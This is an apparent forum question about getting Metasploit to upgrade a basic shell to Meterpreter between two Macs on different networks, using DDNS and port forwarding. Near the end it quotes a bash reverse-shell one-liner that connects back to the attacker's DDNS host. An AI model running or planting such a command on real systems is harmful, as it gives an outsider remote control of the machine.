I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently:
- Created a DDNS that points to my public IP
- Set up port forwarding for all the important ports I use (6680, 4433)
- Tested the setup (DDNS and each port) by accessing temporary server hosted on my attacker machine
This image from Corelan's blog post sums up my situation very well:
But when I try to upgrade the shell to a
meterpreter, either via this command
sessions -u 1 or by manually using the
post/multi/manage/shell_to_meterpreter module, the shell fails to upgrade.
It fails to bind to the DDNS / Public IP for obvious reasons and binds to my local network IP or loopback address by default. This works without any issues when both attacker and target machines are on the same network, but always fails over the internet.
I just can't understand how to make it work.
Some more details:
- Both attacker and target machines are Macbooks running OSX 10.10 x64 Yosemite
- Both machines are on completely different networks, each behind a router and a different ISP
- Using Metasploit version
- Using the
Running this command on the target machine to connect back to the attacker:
bash -c "bash -i >& /dev/tcp/my.ddns.host/6680 0>&1 2>&1"